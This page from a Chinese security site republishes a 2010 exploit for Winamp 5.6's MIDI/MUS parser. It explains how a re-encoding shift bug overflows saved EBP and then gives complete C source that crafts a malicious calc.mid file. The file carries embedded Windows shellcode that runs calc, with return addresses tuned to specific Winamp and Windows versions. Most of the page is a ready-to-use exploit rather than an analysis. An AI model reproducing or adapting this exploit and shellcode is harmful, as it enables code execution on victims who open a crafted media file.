首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Winamp 5.6 Arbitrary Code Execution in MIDI Parser
来源:http://www.kryptoslogic.com/ 作者:Logic 发布时间:2010-12-08  

/*
 * Winamp 5.6 Arbitrary Code Execution in MIDI Parser
 * Copyright (C) 2010 Kryptos Logic
 *
 * Bug discovered by Peter Wilhelmsen.
 * Exploit written by Morten Shearman Kirkegaard.
 */

/*
 * When Winamp plays MUS files and other MIDI variants, it begins by
 * converting them to a canonical format.
 *
 * IN_MIDI.DLL 0x076ED6D3
 * Timestamps in MUS and MIDI are 32 bit values encoded as a series of
 * bytes, with 7 bits in each byte. The most significant bit indicates
 * whether or not this is the last byte. Winamp can decode any value
 * without problems, but when it tries to re-encode them for the MIDI
 * data, it uses the naive approach of shifting multiples of 7 bits. On
 * x86 a shift of more than 31 bits does NOT result in a cleared
 * register, so after shifting 0, 7, 14, 21, and 28 bits, it will shift
 * 35 bits, resulting in a shift of only 3 bits. If the most significant
 * bit is set, Winamp will keep shifting forever. However, if it is
 * cleared, and one or more of the following three bits are set, it will
 * shift 0, 7, 14, 21, 28, 3, 10, 17, 24, and 31 bits. The last shift
 * will result in a fully cleared register, so only 9 output bytes are
 * generated. The allocated stack buffer is 8 bytes, so the least
 * significant byte will overflow into the saved EBP.
 *
 * IN_MIDI.DLL 0x076EE07F
 * The saved EBP is restored into the register before returning to the
 * main coversion function. If a value of 0x60 is written to the least
 * significant byte of EBP, the function will run to the end without
 * errors, but will use the sum of all timestamps encountered as its
 * return address. We choose a number of timestamps which add up to the
 * desired return address, and make sure that only the last timestamp
 * will cause an overflow. When the function returns, a pointer to the
 * input buffer is located at ESP+0x14. We return to an instruction
 * sequence of ADD ESP, 0x14; RET; so the execution will continue at the
 * MUS header.
 *
 * By choosing 0xC0 as the least significant byte of the scoreLen field,
 * the header becomes executable without touching memory. We choose the
 * most significant byte of scoreLen and the least significant byte of
 * scoreStart to make up a JMP instruction, skipping the rest of the
 * header and continuing execution in the instrument list, where the
 * desired shellcode is placed. More shellcode can be placed after the
 * note events in the score data, if needed.
 */

#include <inttypes.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>


unsigned char shellcode[] = {
/* http://www.shell-storm.org/shellcode/files/shellcode-662.php */
0xFC,0x31,0xD2,0xB2,0x30,0x64,0xFF,0x32,
0x5A,0x8B,0x52,0x0C,0x8B,0x52,0x14,0x8B,
0x72,0x28,0x31,0xC9,0xB1,0x18,0x31,0xFF,
0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,
0x20,0xC1,0xCF,0x0D,0x01,0xC7,0xE2,0xF0,
0x81,0xFF,0x5B,0xBC,0x4A,0x6A,0x8B,0x5A,
0x10,0x8B,0x12,0x75,0xDA,0x8B,0x53,0x3C,
0x01,0xDA,0xFF,0x72,0x34,0x8B,0x52,0x78,
0x01,0xDA,0x8B,0x72,0x20,0x01,0xDE,0x31,
0xC9,0x41,0xAD,0x01,0xD8,0x81,0x38,0x47,
0x65,0x74,0x50,0x75,0xF4,0x81,0x78,0x04,
0x72,0x6F,0x63,0x41,0x75,0xEB,0x81,0x78,
0x08,0x64,0x64,0x72,0x65,0x75,0xE2,0x49,
0x8B,0x72,0x24,0x01,0xDE,0x66,0x8B,0x0C,
0x4E,0x8B,0x72,0x1C,0x01,0xDE,0x8B,0x14,
0x8E,0x01,0xDA,0x52,0x68,0x78,0x65,0x63,
0x01,0xFE,0x4C,0x24,0x03,0x68,0x57,0x69,
0x6E,0x45,0x54,0x53,0xFF,0xD2,0x6A,0x00,
0x68,0x63,0x61,0x6C,0x63,0x6A,0x05,0x31,
0xC9,0x8D,0x4C,0x24,0x04,0x51,0xFF,0xD0,
0x68,0x65,0x73,0x73,0x01,0x89,0xFB,0xFE,
0x4C,0x24,0x03,0x68,0x50,0x72,0x6F,0x63,
0x68,0x45,0x78,0x69,0x74,0x54,0xFF,0x74,
0x24,0x24,0xFF,0x54,0x24,0x24,0x57,0xFF,
0xD0
};

 

void append_time(unsigned char **p, uint32_t t)
{
 int bytes;

 if ((t >> 28)) {
  bytes = 5;
 } else if ((t >> 21)) {
  bytes = 4;
 } else if ((t >> 14)) {
  bytes = 3;
 } else if ((t >> 7)) {
  bytes = 2;
 } else {
  bytes = 1;
 }

 switch (bytes) {
  case 5: *((*p)++) = 0x80 | ((t >> 28) & 0x7F);
  case 4: *((*p)++) = 0x80 | ((t >> 21) & 0x7F);
  case 3: *((*p)++) = 0x80 | ((t >> 14) & 0x7F);
  case 2: *((*p)++) = 0x80 | ((t >>  7) & 0x7F);
  case 1: *((*p)++) = 0x00 | ( t        & 0x7F);
 }
}

 

void append_note_event(unsigned char **p, uint32_t t)
{
 *((*p)++) = (1 << 7 /* last = true */)
           | (1 << 4 /* type = play note */)
           | (0 << 0 /* chan = 0 */);
 *((*p)++) = (0 << 7 /* vol = false */)
           | (0 << 0 /* note */);
 append_time(p, t);
}

 

int main(void)
{
 struct {
  char magic[4];
  uint16_t scoreLen;
  uint16_t scoreStart;
  uint16_t channels;
  uint16_t sec_channels;
  uint16_t instrCnt;
  uint16_t dummy;
  uint16_t instruments[100];  /* enough for shellcode and for a good scoreStart value */
  unsigned char score[1024];
 } __attribute__((packed)) x;
 unsigned char *p;
 uint32_t ret =
  //0x0041E092  /* winamp.exe 5.581 */
  0x0041E22C  /* winamp.exe 5.6 */
 ;
 uint8_t ebp =
  //0x70  /* 5.581, Windows 7 */
  //0x48  /* 5.581, Windows XP */
  //0x54  /* 5.60, Windows 7 */
  0x60  /* 5.60, Windows XP */
 ;
 int fd;

 memset(&x, 'A', sizeof(x));

 x.magic[0] = 'M';     /* 4D      DEC EBP   */
 x.magic[1] = 'U';     /* 55      PUSH EBP  */
 x.magic[2] = 'S';     /* 53      PUSH EBX  */
 x.magic[3] = 0x1A;    /* 1A C0   SBB AL,AL */
 x.scoreLen = 0xEBC0;  /* EB 09   JMP +9    */
 x.scoreStart = 0x0109; /* must be >= 16+instrCnt*2 && < 16+instrCnt*4 */
 x.channels = 1;
 x.sec_channels = 0;
 x.instrCnt = sizeof(x.instruments) / sizeof(*x.instruments);
 x.dummy = 0;
 memcpy((void *)x.instruments, shellcode, sizeof(shellcode));

 p = (unsigned char *)x.score;

 ret -= 0x10000000 + ebp;  /* for the final overflow */
 while (ret >= 0x10000000) {
  append_note_event(&p, 0x0FFFFFFF);
  ret -= 0x0FFFFFFF;
 }
 append_note_event(&p, ret);
 append_note_event(&p, 0x10000000 + ebp);
 append_note_event(&p, 0);

 if ((fd = open("calc.mid", O_WRONLY|O_CREAT, 0644)) == -1) {
  perror("open(calc.mid) failed");
  return EXIT_FAILURE;
 }
 if ((write(fd, &x, sizeof(x))) != sizeof(x)) {
  perror("truncated write");
  return EXIT_FAILURE;
 }
 close(fd);

 return EXIT_SUCCESS;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·GNU inetutils 1.8-1 FTP Client
·MODx Revolution CMS 2.0.4-pl2
·Linux Kernel <= 2.6.37 Local P
·Freefloat FTP Server v1.00 Rem
·Internet Explorer 8 CSS Parser
·Flash Player (Flash6.ocx) Allo
·Freefloat FTP Server Buffer Ov
·AVG Internet Security 2011 Saf
·RomPager 4.07 Denial Of Servic
·Winzip 15.0 WZFLDVW.OCX IconIn
·Winzip 15.0 WZFLDVW.OCX Text P
·Abtp Portal Project 0.1.0 LFI
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved